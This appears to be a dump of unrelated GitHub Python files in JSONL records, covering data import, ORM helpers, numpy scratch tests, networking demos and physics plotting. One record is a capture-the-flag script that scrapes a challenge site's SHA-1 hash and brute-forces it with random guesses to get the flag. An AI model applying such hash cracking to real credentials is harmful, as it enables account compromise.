|= to_add\n\n # NB if equ/var were imported, also need to filter 'lvl', 'mrg' here\n idx_sets = list(filter(lambda v: v not in (\"value\", \"unit\"), df.columns))\n\n if init_items:\n try:\n # Same as init_scalar if idx_sets == []\n maybe_init_item(s, ix_type, name, idx_sets, path)\n except ValueError:\n continue # Ambiguous or conflicting; skip this parameter\n\n if not len(idx_sets):\n # No index sets -> scalar parameter; must supply empty 'key' column\n # for add_par()\n df[\"key\"] = None\n\n s.add_par(name, df)\n\n # Commit after every parameter\n maybe_commit(s, commit_steps, f\"Loaded {ix_type} {repr(name)} from {path}\")\n\n maybe_commit(s, not commit_steps, f\"Import from {path}\")\n","repo_name":"iiasa/ixmp","sub_path":"ixmp/backend/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":10247,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"32"} +{"seq_id":"19918065251","text":"from model.model import CallCount, TypeCount, MostCallableURL, FiveBig400, FiveBig500\nfrom utils.parser import get_calls_quantity, obtain_type_quantity\n\n\nclass MysqlORMBuilder:\n\n def __init__(self, client):\n self.client = client\n self.quantity = get_calls_quantity()\n self.type_count = obtain_type_quantity()\n\n def create_quantity(self):\n quantity = CallCount(strings=self.quantity)\n\n self.client.session.add(quantity)\n self.client.session.commit()\n return quantity\n\n def create_type_quantity(self):\n get = self.type_count[0]\n post = self.type_count[1]\n put = self.type_count[2]\n\n type_count = TypeCount(\n get_strings=get,\n post_strings=post,\n put_strings=put\n )\n\n self.client.session.add(type_count)\n self.client.session.commit()\n return type_count\n\n def create_url_quantity(self, url, quantity):\n type_count = MostCallableURL(\n url=url,\n url_quantity=quantity\n )\n\n self.client.session.add(type_count)\n self.client.session.commit()\n return type_count\n\n def create_400_quantity(self, url, status_code, size, ip):\n five_big400 = FiveBig400(\n url=url,\n status_code=status_code,\n size=size,\n ip=ip\n )\n\n self.client.session.add(five_big400)\n self.client.session.commit()\n return five_big400\n\n def create_500_quantity(self, ip, quantity):\n five_big500 = FiveBig500(\n ip=ip,\n quantity=quantity\n )\n\n self.client.session.add(five_big500)\n self.client.session.commit()\n","repo_name":"Shavragin/GUI_API_DB_TESTING","sub_path":"SQL_HOMEWORK_06/utils/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2831882133","text":"\nimport time\nimport random\nimport sys\n\n\ndef getReading(maxTemp):\n temp = 100*random.uniform(0.0,1.0)\n print(\"Compare to {}\".format(temp))\n return max(temp,maxTemp)\n \n # delta = abs(maxTemp-temp) \n# print(\"Delta is {}\".format(delta))\n# if temp > maxTemp:\n# return temp\n# else:\n# return maxTemp\n\n\n\ndef main():\n print(\"hello world\")\n maxTemp = 0\n \n while True:\n maxTemp = getReading(maxTemp)\n print(\"Max Temp is {}\".format(maxTemp))\n time.sleep(2)\n\nif __name__ == '__main__':\n main()","repo_name":"rueggerc/python1","sub_path":"apps/App4.py","file_name":"App4.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"434330684","text":"import platform\nimport time\nimport numpy as np\nfrom datetime import datetime, timedelta, timezone\nimport os\n\nprint(np.shape(None))\n\ndef _sample_pair(Y,_rand):\n n_class = np.size(Y,1)\n n_samples = np.size(Y,0)\n _rand.seed(n_samples)\n classes = _rand.permutation(n_class)\n \n\n class1 = classes[0]\n class2 = classes[1]\n p_candidate = np.where(Y[:,class1] == 1)[0]\n q_candidate = np.where(Y[:,class2] == 1)[0]\n\n p = _rand.choice(p_candidate)\n q = _rand.choice(q_candidate)\n\n return p,q\n \nrand = np.random.RandomState(None)\nindex = rand.choice(6,size=6,replace=False)\nindex2 = rand.choice(6,size=6,replace=False)\n\nnclass = 3\n[class1, class2] = rand.choice(nclass,size=2,replace=False)\n\nlabels = np.array([[1,0,0],[0,1,0],[0,0,1],[1,0,0],[0,0,1],[0,1,0],[1,0,0],[1,0,0],[0,0,1],[0,1,0]])\n\nQ1 = labels[:,class1]\n\n\n\nY = np.array([[0,1,2],[2,1,3],[8,9,7]])\nprint(Y[:,1])\nQ = np.where(Y[:,1]==9)[0]\nprint(Q)\n\na =np.sum([[0,1,2],[2,1,3]],axis=0) / np.sum([[0,1,2],[2,1,3]])\nprint(a)\n\nprint(np.size([[0,1,2],[2,1,3]],1))\n\nprint(os.path.join(\"model\", \"file.txt\")) \n\nselection = np.array(list(set(np.random.choice(120, size=120))))\nprint(selection)\nprint(len(selection))\n\ndef line_intersection(line1, line2):\n xdiff = (line1[0][0] - line1[1][0], line2[0][0] - line2[1][0])\n ydiff = (line1[0][1] - line1[1][1], line2[0][1] - line2[1][1])\n\n def det(a, b):\n return a[0] * b[1] - a[1] * b[0]\n\n div = det(xdiff, ydiff)\n if div == 0:\n return None\n\n d = (det(*line1), det(*line2))\n x = det(d, xdiff) / div\n y = det(d, ydiff) / div\n return x, y\n\nA = (1,1)\nB = (2,1)\nC = (1,3)\nD = (2,2)\nprint (line_intersection((A, B), (C, D)))\n\nprint(platform.system())\n\nmetaPath = \"stocksdata/meta.npy\"\nmeta = dict()\nmeta = np.load(metaPath, allow_pickle=True)[0]\n\n#f = open('tickerlist.txt',\"w\")\n#f.write(','.join(meta.keys()) )\n#f.close()\n#print(meta)\n\nprint(\"abc\",\"asd\",\"123\")\n\nimport datetime\ntimeArray = datetime.datetime.strptime(\"2020-04-16 07:00:10 UTC-0400\", \"%Y-%m-%d %H:%M:%S %Z%z\")\nperiod1 = int(timeArray.timestamp())\n#print(period1)\n#print(int(time.time()))\n#print(\"good\")\n\n\n# 参数根据要转换的时区来确定,时区是UTC+2 时hours=2, UTC-3时hours=-3\nts = int(time.time())\ntd = timedelta(hours=-4) # UTC-0400 即美国东部时间\ntz = timezone(td)\ndt = datetime.datetime.fromtimestamp(ts, tz)\noneday = datetime.timedelta(days=1)\nprint((dt-oneday).strftime('%Y-%m-%d %H:%M:%S'))\n\nabc = [1,2,3]\nk = abc\nabc = []\nprint(k)\nprint(abc)\n\na = [1,2,3]\na = a[:-1]\nprint(a)","repo_name":"NikoKVCS/QuantTradeSystem","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42414594423","text":"\nfrom bank import bank\n\n\n\nAccount1= bank(2,500)\nAccount2= bank(4,8000)\n\n\n\n\n\nAccount1.deposit(500).deposit(700).deposit(400).withdraw(200).display_account_info()\n\nAccount2.deposit(100).deposit(200).withdraw(100).withdraw(2000).withdraw(200).withdraw(500).display_account_info()","repo_name":"adriannavarro99/userswithbank","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8065008140","text":"NAMES = [\n 'k5z',\n 'k5ta',\n 'k5ma',\n 'k5tb2',\n 'k5mb2',\n 'k5tb3',\n 'k5mb3',\n 'k6t',\n 'k6m',\n 'k1ta',\n 'k1ma',\n 'k1tb',\n 'k1mb',\n 'k2ta',\n 'k2ma',\n 'k2tb',\n 'k2mb',\n 'k2tc',\n 'k2mc',\n 'k3t',\n 'k3m',\n 'k4t',\n 'k4m',\n #signal\n 'sinput',\n 'sbase',\n 'tpulse',\n 'traise',\n 'tdecay',\n 'tdelay',\n 'slate',\n]\n\nfor idx, name in enumerate(NAMES):\n exec(\n '{} = {:d}'.format(\n name, idx\n )\n )\n\nNUM = len(NAMES)\n","repo_name":"okadalabipr/Shinohara2014","sub_path":"model/name2idx/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34332989863","text":"def greatest_common_divisor(a,b):\n r = a%b\n while r:\n a=b\n b=r\n r=a%b\n return b\ndef generators(n):\n generators_list = []\n generators_list.append(1)\n for elem in range(2,n):\n if greatest_common_divisor(n,elem) == 1:\n generators_list.append(elem)\n return generators_list\n\ndef generators_without_gcd(n):\n group_set = {i for i in range(0,n)}\n generators_list = []\n generators_list.append(1)\n for possible_generator in range(2,n):\n solutions = set()\n start = 0\n current = -1\n while current != start:\n if current == -1:\n current = (start + possible_generator)%n\n else:\n current = (current + possible_generator)%n\n solutions.add(current)\n if solutions == group_set:\n generators_list.append(possible_generator)\n return generators_list\n\ndef eulers_totient_function(n):\n count = 0\n for i in range(1,n):\n if greatest_common_divisor(n,i) == 1:\n count += 1\n return count\n\nif __name__ == '__main__':\n generators_list1 = generators(10)\n generators_list2 = generators_without_gcd(10)\n generators_number = eulers_totient_function(10)\n assert (len(generators_list2) == generators_number)\n assert (generators_list1 == generators_list2)\n print(\"Number of generators is : \" + str(generators_number))\n for i in generators_list1:\n print(i)","repo_name":"georgianamaxim/flcd","sub_path":"lab2/cr.py","file_name":"cr.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30796608344","text":"from PyQt6.QtCore import QThread\nfrom PyQt6.QtWidgets import QGroupBox, QGridLayout, QLabel\n\nfrom api.Arduino.grid import GridManager\nfrom interface.components.ui.Button import Button\nfrom interface.components.ui.DoubleSpinBox import DoubleSpinBox\nfrom store.state import state\n\n\nclass GridThread(QThread):\n def run(self):\n grid = GridManager(host=state.GRID_ADDRESS)\n grid.rotate(state.GRID_ANGLE_ROTATE)\n self.finished.emit()\n\n\nclass GridManagingGroup(QGroupBox):\n def __init__(self, parent):\n super().__init__(parent)\n self.setTitle(\"GRID\")\n\n layout = QGridLayout()\n\n self.angleCurrentLabel = QLabel(self)\n self.angleCurrentLabel.setText(\"Current angle\")\n self.angleCurrent = QLabel(self)\n self.angleCurrent.setText(f\"{state.GRID_ANGLE} °\")\n self.angleLabel = QLabel(self)\n self.angleLabel.setText(\"Angle, °\")\n self.angle = DoubleSpinBox(self, lambda: self.rotate())\n self.angle.setRange(-720, 720)\n self.angle.setValue(state.GRID_ANGLE)\n self.btnRotate = Button(\"Rotate\", animate=True)\n self.btnRotate.clicked.connect(self.rotate)\n self.btnSetZero = Button(\"Set new zero\", animate=True)\n self.btnSetZero.clicked.connect(self.setZero)\n\n layout.addWidget(self.angleCurrentLabel, 0, 0)\n layout.addWidget(self.angleCurrent, 0, 1)\n layout.addWidget(self.btnSetZero, 0, 2)\n layout.addWidget(self.angleLabel, 1, 0)\n layout.addWidget(self.angle, 1, 1)\n layout.addWidget(self.btnRotate, 1, 2)\n\n self.setLayout(layout)\n\n def setZero(self):\n state.GRID_ANGLE = 0\n state.GRID_ANGLE_ROTATE = 0\n self.angle.setValue(0)\n self.angleCurrent.setText(\"0 °\")\n\n def rotate(self):\n if state.GRID_ANGLE == self.angle.value():\n return\n state.GRID_ANGLE_ROTATE = self.angle.value()\n self.grid_thread = GridThread()\n self.grid_thread.start()\n self.btnRotate.setEnabled(False)\n self.grid_thread.finished.connect(lambda: self.btnRotate.setEnabled(True))\n self.grid_thread.finished.connect(\n lambda: self.angleCurrent.setText(f\"{state.GRID_ANGLE} °\")\n )\n","repo_name":"yarvod/cl-manager","sub_path":"interface/components/grid/GridManagingGroup.py","file_name":"GridManagingGroup.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"26308426734","text":"''' write a program to sort the list according to a key given in input.'''\n\n\ndef sort_list_of_dicts(lst_of_dicts, key):\n sorted_lst = sorted(lst_of_dicts, key = lambda x: x[key])\n return sorted_lst\n\n\ndef f():\n \"\"\"\n Gets a list of dictionaries from the user and sorts them by the given key.\n Returns:A list of dictionaries sorted by the given key.\n \"\"\"\n lst_of_dicts = []\n while True:\n dict_input = input(\"Enter a dictionary (or press Enter to finish): \")\n if dict_input == \"\":\n break\n dict_items = dict_input.split(\",\")\n dictionary = {}\n for item in dict_items:\n k, v = item.split(\":\")\n dictionary[k.strip()] = v.strip()\n lst_of_dicts.append(dictionary)\n\n sort_key = input(\"Enter the sort key: \")\n\n sorted_lst = sort_list_of_dicts(lst_of_dicts, sort_key)\n return sorted_lst\n\nsorted_lst = f()\nprint(sorted_lst)\n","repo_name":"Piyushweet/Chabbi","sub_path":"q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72270418650","text":"##################### CREANDO CONEXION PARA DRON ##################\nimport socket\nfrom djitellopy import tello\n\n# Variables para crear la conexion\nHOST = \"localhost\"\nPORT = 8000\n\n# Crear socket\nmy_socket = socket.socket()\n\n# Estableciendo conexion\nmy_socket.bind( (HOST, PORT) )\n\n# Estableciendo el numero de peticiones\nmy_socket.listen(5)\n\nwhile True:\n connection, address = my_socket.accept()\n\n print(f\"Estableciendo conexion con {address}\")\n\n connection.send(\"Enviando informacion desde el servidor\")\n connection.close()","repo_name":"AngelGarcia-12/AIC-Drone-Final","sub_path":"Controller/Server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18062656669","text":"# noinspection PyUnresolvedReferences\nfrom p4app import P4Mininet\n\nfrom controller import PWOSPFController\nfrom my_topo import MyTopo\nimport time\n\ntopo = MyTopo()\nnet = P4Mininet(program='pwospfswitch.p4', topo=topo)\nnet.start()\n\nh1, h2, h3 = net.get('h1'), net.get('h2'), net.get('h3')\ns1, s2, s3 = net.get('s1'), net.get('s2'), net.get('s3')\nc1, c2, c3 = net.get('c1'), net.get('c2'), net.get('c3')\n\n# Start the PWOSPF controllers\ncpu1 = PWOSPFController(sw=s1, node=c1, rid=1, area_id=1, mask=0xFFFFFFFF)\ncpu2 = PWOSPFController(sw=s2, node=c2, rid=2, area_id=1, mask=0xFFFFFFFF)\ncpu3 = PWOSPFController(sw=s3, node=c3, rid=3, area_id=1, mask=0xFFFFFFFF)\ncpu1.start()\ncpu2.start()\ncpu3.start()\n\n# Populate IPv4 forwarding table\n# cpu1.add_routing_entry(2, h1.IP())\n# cpu1.add_routing_entry(3, h2.IP())\n# cpu1.add_routing_entry(4, h3.IP())\n#\n# cpu2.add_routing_entry(2, h1.IP())\n# cpu2.add_routing_entry(3, h2.IP()) # hardcoded controller rerouting to port 1, change port back to 3 when done\n# cpu2.add_routing_entry(2, h3.IP())\n#\n# cpu3.add_routing_entry(2, h1.IP())\n# cpu3.add_routing_entry(2, h2.IP())\n# cpu3.add_routing_entry(3, h3.IP())\n\n# Start the server with some key-values\n# net.ping([h1, h2])\n# net.ping([h1, h3])\n# net.ping([h2, h3])\n\n# Send test PWOSPF HELLO pkt\n# cpu1.send_hello()\n# cpu2.send_hello()\n# cpu3.send_hello()\n\n# cpu3.add_routing_entry(4, \"10.0.1.3\")\n\n# print(\"1:\", cpu1.routing)\n# print(\"2:\", cpu2.routing)\n# print(\"3:\", cpu3.routing)\n\ntime.sleep(5)\n\ncpu1.stop()\ncpu2.stop()\ncpu3.stop()\n\ncpu1.join()\ncpu2.join()\ncpu3.join()\n\nexit(0)\n","repo_name":"jfida/pwospf","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35823083077","text":"#\n# Beispiel für die Benutzung des Eager Modus mit TensorFlow\n#\n\nimport tensorflow as tf\ntf.enable_eager_execution()\nm = tf.add(2.0, 1)\nm = tf.multiply(m,10)\nm = tf.div(m,3)\nprint(\"Ergebnis (mit Eager Execution): {}\".format(m))\n\n","repo_name":"deeplearning-mit-tensorflow-keras-tfjs/2019_Erste_Auflage","sub_path":"Quellcode/chap_5/eager.py","file_name":"eager.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"de","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"72956883292","text":"#!/usr/bin/env python\n#coding=utf-8\n__author__ = 'M0nsieurPsych0'\n\n\nimport re\nimport requests\nimport bs4\nimport hashlib\nimport string\nimport random\nimport multiprocessing\nimport threading\nimport time\nfrom os import urandom\n\n'''\nThe challenge:\n You have 3 seconds to break this hash\n Send the answer back using https://ringzer0ctf.com/challenges/159/[clear_text]\n'''\n'''\nThe Writeup:\n As always the first step is defining the challenge boundaries.\n We know this hash is sha1 like the previous challenge so first thing I did was use hashcat to bruteforce a couple of hashes.\n **If you don't know hashcat, it's an amazing tool to bruteforce all sorts of hashes using CPU or GPU. It's amazing!**\n So the difference is that instead of having only numbers as input we also have lower case letters in the mix.\n The total amount of possibilities is now 36^6 = 2,176,782,336.\n What that means is that we can't generate a perfect hash in less than 3 seconds for all possibilities at least not with a regular CPU and only one thread.\n With a 1070ti and hashcat I am able to bruteforce a hash in less than a second. \n The problem is that there is a warmup time before we start the process which in total time exceeds the 3 seconds allowed.\n\n My next idea was to generate a list of all possibilities, but I ran into a lot a problems. \n First, I was using a text file with a hash:text for every line.\n The advantage of this is that I was only limited by the disk space, but the lookup is too slow for this challenge.\n In python a dictionnary lookup is a lot faster, but generating all of it in ram is too much, at least for my 128go server. \n I was only able to generate about 16% of 36^6 which is more than a 100go of ram so this one was a no go as well.\n\n My next idea was to use the *power of probabilities*, in effect we don't need to generate all possibilities.\n In fact, we know that the probability of having the same value multiple times like \"aaaaaa\" is 6!(720) / 36^6 = 0.000033%.\n Even if we count the probability for all the letters 6!*36(25920) / 36^6 = 0.0011%.\n So the probability is lower than starting with any other random value\n\n \n\n\n'''\n\nclass hashbreaker_reloaded_again():\n def __init__(self):\n self._sha1_dict = {}\n self._charList = string.ascii_lowercase + string.digits\n self._tries = 0\n self._queue = multiprocessing.Queue()\n self._dictCap = 5000000\n \n \n def randomizer3000(self, maxsize):\n \n if random.randrange(0, 11) <= 5:\n andian = \"little\"\n else:\n andian = \"big\"\n \n return int.from_bytes(urandom(10), andian) % maxsize\n \n def createRandomSha1(self, q):\n\n while len(self._sha1_dict) < self._dictCap:\n # We create a guess of 6 char\n guess = str()\n while(len(guess) < 6):\n # we pick at random (one of 36 choices)\n randChar = self._charList[self.randomizer3000(len(self._charList))]\n # Concatenate each guess until password length is reached\n guess += randChar\n \n encodedguess = str(guess).encode('ascii')\n hashedguess = hashlib.sha1(encodedguess).hexdigest()\n\n if hashedguess not in self._sha1_dict:\n self._sha1_dict[hashedguess] = guess\n q.put(self._sha1_dict)\n \n \n def pageRequests(self, q):\n payload = {'action': 'login', 'username': '*', 'password': '*'}\n\n with requests.session() as c:\n #we log in using the credential from payload\n c.post('https://ringzer0ctf.com/login', data=payload)\n lehash = None\n\n # we parse the page until the hash is in our list\n while lehash not in self._sha1_dict:\n self._sha1_dict = q.get()\n response = c.get('https://ringzer0ctf.com/challenges/159')\n \n html = bs4.BeautifulSoup(response.text, features=\"html5lib\")\n tag = html.findAll(\"div\",{\"class\":\"message\"})\n \n #we a regex to find everything between
tags\n match = re.search(r'
\\n(.*)
', str(tag[0]))\n lehash = match.group(1).strip()\n print(lehash)\n self._tries += 1\n \n answer = self._sha1_dict[lehash]\n # we concatenate the adress to send with our clear text unhashed answer\n address = \"https://ringzer0ctf.com/challenges/159/\" + answer\n # we send the clear text answer\n response = c.get(address)\n # find the flag\n flag = re.search(r'
(.*)
', str(response.text))\n # We return the flag\n return flag.group(1)\n\n def main(self):\n threading.Thread(target=self.createRandomSha1, daemon=True).start()\n \n # timer\n tz = time.perf_counter()\n\n # Compute hash on a different subprocess\n # multiprocessing.Process(target=self.createRandomSha1, args=[self._queue],daemon=True).start()\n\n # query the progress and send request to get hash\n flag = self.pageRequests(self._queue)\n print(f\"Found the flag in {len(self._sha1_dict)} generated sha1 hash and {self._tries} tries\") \n print(\"time elapse: \", time.perf_counter() - tz)\n print(flag)\n\nif __name__ == \"__main__\":\n hashbreaker_reloaded_again().main()\n","repo_name":"m0nsieurPsych0/CTF","sub_path":"RingZer0/coding challenges/Hash breaker reloaded again - 159/prototype/hashbreaker_reloaded_again-159_multiprocess.py","file_name":"hashbreaker_reloaded_again-159_multiprocess.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29941763827","text":"\ndef BMI(weight, height):\n bmi_upper = [18.5,25,30,100]\n category = ['Underweight', 'Normal weight', 'Overweight', 'Obesity']\n w, h = float(weight.split()[0]), float(height.split()[0])\n if 'pounds' in weight:\n w = w * 0.453592\n if 'inches' in height:\n h = h * 0.0254\n bmi = round(w/h**2, 1)\n for i in bmi_upper:\n if bmi CELL_SIZE/2:\n x_data = x_data - CELL_SIZE\n\n #y_cord\n if y_data > CELL_SIZE/2:\n y_data = y_data - CELL_SIZE\n\n #z_cord\n if z_data > CELL_SIZE/2:\n z_data = z_data - CELL_SIZE\n\n\n\n return {\n \"atom_id\" : data[0],\n \"atom_class\" : data[1],\n \"atom_coordinate\" : [x_data,y_data,z_data] \n }\n\n\ndef get_points(path):\n with open(path, 'r') as myfile:\n final_data = json.load(myfile)\n\n # pts = [[pt['atom_coordinate'] for pt in pts] for pts in final_data]\n pts = [[{'coordinate':pt['atom_coordinate'],'id' : pt['atom_id'], 'atom_class' : pt['atom_class']} for pt in pts] for pts in final_data]\n return pts\n\n\ndef countX(lst, x):\n count = 0\n for ele in lst:\n if (ele == x):\n count = count + 1\n return count\n\n\n\ndef get_atom_distribution(data):\n\tmy_distro = {}\n\tfor i in range(MAX_ATOMS_PER_BUCKET+1):\n\t my_distro[i] = 0\n\n\t# #Only using 1 data\n\t# all_data = [all_data[0]]\n\tbuckets = {}\n\tfor i in range(NO_OF_BUCKET):\n\t buckets[i] = 0\n\tfor each in data:\n\t\tdatum = each['coordinate']\n\t\tx_cord, y_cord, z_cord = datum[0], datum[1], datum[2]\n\t\tx_offset = int((x_cord - LEFT_BOUNDARY)/BUCKET_LENGTH)\n\t\ty_offset = int((y_cord - LEFT_BOUNDARY)/BUCKET_LENGTH) \n\t\tz_offset = int((z_cord - LEFT_BOUNDARY)/BUCKET_LENGTH)\n\n\t\tz_multiplier = round(NO_OF_BUCKET ** (2/3),2)\n\t\ty_multiplier = round(NO_OF_BUCKET ** (1/3),2)\n\n\t\tbucket_no = int((z_multiplier * z_offset + y_multiplier * y_offset + x_offset))\n\t\ttry:\n\t\t a = buckets[bucket_no]\n\t\t a = a + 1\n\t\t buckets[bucket_no] = a\n\t\texcept Exception as e:\n\t\t continue\n\n\tlist_num_per_bucket = []\n\tfor x,y in buckets.items():\n\t list_num_per_bucket.append(y)\n\n\tunique_elements = list(set(list_num_per_bucket))\n\n\tfor element in unique_elements:\n\t count = countX(list_num_per_bucket,element)\n\t my_distro[element] = my_distro[element] + count\n\n\n\tfinal_frequency = {}\n\tfor key,value in my_distro.items():\n\t final_frequency[key] = round(value,2)\n\n\tval = []\n\tfor x,y in final_frequency.items():\n\t val = val + int(round(y,2)) * [x]\n\n\n\tfinal_list = []\n\tfor i in val:\n\t final_list.append(int(round(i,2)))\n\n\tset_list = set(final_list)\n\tlength = len(set_list)\n\n\n\t#Ploting\n\tfrom datetime import datetime\n\tnow = datetime.now()\n\ttimestamp = int(now.timestamp())\n\n\ttry:\n\t n, bins, patches = plt.hist(final_list, length, facecolor='blue', alpha=0.5,edgecolor=\"red\",align='mid' )\n\t plt.xlabel('Number of Fe atoms in a bin')\n\t plt.ylabel('Frequency')\n\t plt.title('Distribution of Fe atoms in a cell')\n\t plt.savefig('{}_{}'.format(args.output,timestamp))\n\texcept Exception as e:\n\t print(e)\n\n#start = mimimum no of atoms per bucket, and end = maximum per bucket\ndef get_filtered_data(data,start,end):\n\tstart = int(start)\n\tend = int(end)\n\tbuckets = {}\n\tfor i in range(NO_OF_BUCKET):\n\t buckets[i] = 0\n\tfor each in data:\n\t\tdatum = each['coordinate']\n\t\tx_cord, y_cord, z_cord = datum[0], datum[1], datum[2]\n\t\tx_offset = int((x_cord - LEFT_BOUNDARY)/BUCKET_LENGTH)\n\t\ty_offset = int((y_cord - LEFT_BOUNDARY)/BUCKET_LENGTH) \n\t\tz_offset = int((z_cord - LEFT_BOUNDARY)/BUCKET_LENGTH)\n\n\t\tz_multiplier = round(NO_OF_BUCKET ** (2/3),2)\n\t\ty_multiplier = round(NO_OF_BUCKET ** (1/3),2)\n\n\t\tbucket_no = int((z_multiplier * z_offset + y_multiplier * y_offset + x_offset))\n\t\ttry:\n\t\t a = buckets[bucket_no]\n\t\t a = a + 1\n\t\t buckets[bucket_no] = a\n\t\texcept Exception as e:\n\t\t continue\n\n\tlist_num_per_bucket = []\n\t\"\"\"later\"\"\"\n\treturn_buckets = []\n\n\tfor x,y in buckets.items():\n\t list_num_per_bucket.append(y)\n\t if y >=start and y<=end:\n\t return_buckets.append(x)\n\n\tout_file = open(\"filtered_bucket.json\", \"w\")\n\t \n\tjson.dump(return_buckets, out_file)\n\tout_file.close()\n\tfiltered_data = []\n\tfor obj in data:\n\t\tdatum = obj['coordinate']\n\t\tdatum_id = obj['id']\n\t\tx_cord, y_cord, z_cord = datum[0], datum[1], datum[2]\n\t\tx_offset = int((x_cord - LEFT_BOUNDARY)/BUCKET_LENGTH)\n\t\ty_offset = int((y_cord - LEFT_BOUNDARY)/BUCKET_LENGTH) \n\t\tz_offset = int((z_cord - LEFT_BOUNDARY)/BUCKET_LENGTH)\n\n\t\tz_multiplier = round(NO_OF_BUCKET ** (2/3),2)\n\t\ty_multiplier = round(NO_OF_BUCKET ** (1/3),2)\n\n\t\tbucket_no = int((z_multiplier * z_offset + y_multiplier * y_offset + x_offset))\n\t\tif bucket_no in return_buckets:\n\t\t\t# if x_cord > 0:\n\t\t\t# \tx_cord = x_cord - round(CELL_SIZE/2,2)\n\t\t\t# else:\n\t\t\t# \tx_cord = x_cord + round(CELL_SIZE/2,2)\n\t\t\tif y_cord > 0:\n\t\t\t\ty_cord = y_cord - round(CELL_SIZE/2,2)\n\t\t\telse:\n\t\t\t\ty_cord = y_cord + round(CELL_SIZE/2,2)\n\t\t\t# if z_cord > 0:\n\t\t\t# \tz_cord = z_cord - round(CELL_SIZE/2,2)\n\t\t\t# else:\n\t\t\t# \tz_cord = z_cord + round(CELL_SIZE/2,2)\n\t\t\tfiltered_data.append(\n\t\t\t {\n\t\t\t 'id' : datum_id,\n\t\t\t 'atom_coordinate' : [round(x_cord,2),round(y_cord,2),round(z_cord,2)] \n\t\t\t }\n\t\t\t )\n\n\tif args.input == 'fe.json':\n\t\tout_file = open(\"filtered_fe.json\", \"w\")\n\telif args.input == 'mg.json':\n\t\tout_file = open(\"filtered_mg.json\", \"w\")\n\telif args.input == 'o.json':\n\t\tout_file = open(\"filtered_o.json\", \"w\")\n\telse:\n\t\tout_file = open(\"filtered_si.json\", \"w\")\n\n\t\n\tjson.dump(filtered_data, out_file)\n\tout_file.close()\n\n\n\t# f = open(\"out_filtered.dump\", \"w\")\n\t# f.write(\"ITEM: TIMESTEP\\n\")\n\t# f.write(\"0\\n\")\n\t# f.write(\"ITEM: NUMBER OF ATOMS\\n\")\n\t# f.write(\"{}\\n\".format(len(filtered_data)))\n\t# f.write(\"ITEM: BOX BOUNDS xy xz yz pp pp pp\\n\")\n\t# f.write(\"0.0000000000000000e+00 6.8000000000000000e+01 0.0000000000000000e+00\\n\")\n\t# f.write(\"0.0000000000000000e+00 6.8000000000000000e+01 0.0000000000000000e+00\\n\")\n\t# f.write(\"0.0000000000000000e+00 6.8000000000000000e+01 0.0000000000000000e+00\\n\")\n\t# f.write(\"ITEM: ATOMS id type x y z\\n\")\n\n\n\n\t# for each in filtered_data:\n\t# f.write(\"{} {} {} {} {}\".format(each['id'],\"1\",str(each['atom_coordinate'][0]),str(each['atom_coordinate'][1]),str(each['atom_coordinate'][2])))\n\t# f.write(\"\\n\")\n\t# f.close()\n\ndef get_filtered_data_all(data,start,end,atom_class):\n\tstart = int(start)\n\tend = int(end)\n\tbuckets = {}\n\tfor i in range(NO_OF_BUCKET):\n\t buckets[i] = 0\n\tfor each in data:\n\t\tprint(\"each=\",each)\n\t\tif each['atom_class'] != atom_class:\n\t\t\tcontinue\n\t\tdatum = each['coordinate']\n\t\tx_cord, y_cord, z_cord = datum[0], datum[1], datum[2]\n\t\tx_offset = int((x_cord - LEFT_BOUNDARY)/BUCKET_LENGTH)\n\t\ty_offset = int((y_cord - LEFT_BOUNDARY)/BUCKET_LENGTH) \n\t\tz_offset = int((z_cord - LEFT_BOUNDARY)/BUCKET_LENGTH)\n\n\t\tz_multiplier = round(NO_OF_BUCKET ** (2/3),2)\n\t\ty_multiplier = round(NO_OF_BUCKET ** (1/3),2)\n\n\t\tbucket_no = int((z_multiplier * z_offset + y_multiplier * y_offset + x_offset))\n\t\ttry:\n\t\t a = buckets[bucket_no]\n\t\t a = a + 1\n\t\t buckets[bucket_no] = a\n\t\texcept Exception as e:\n\t\t continue\n\n\tlist_num_per_bucket = []\n\t\"\"\"later\"\"\"\n\treturn_buckets = []\n\n\tfor x,y in buckets.items():\n\t list_num_per_bucket.append(y)\n\t if y >=start and y<=end:\n\t return_buckets.append(x)\n\n\tout_file = open(\"filtered_bucket.json\", \"w\")\n\t \n\tjson.dump(return_buckets, out_file)\n\tout_file.close()\n\tfiltered_data = []\n\tfor obj in data:\n\t\tdatum = obj['coordinate']\n\t\tdatum_id = obj['id']\n\t\tx_cord, y_cord, z_cord = datum[0], datum[1], datum[2]\n\t\tx_offset = int((x_cord - 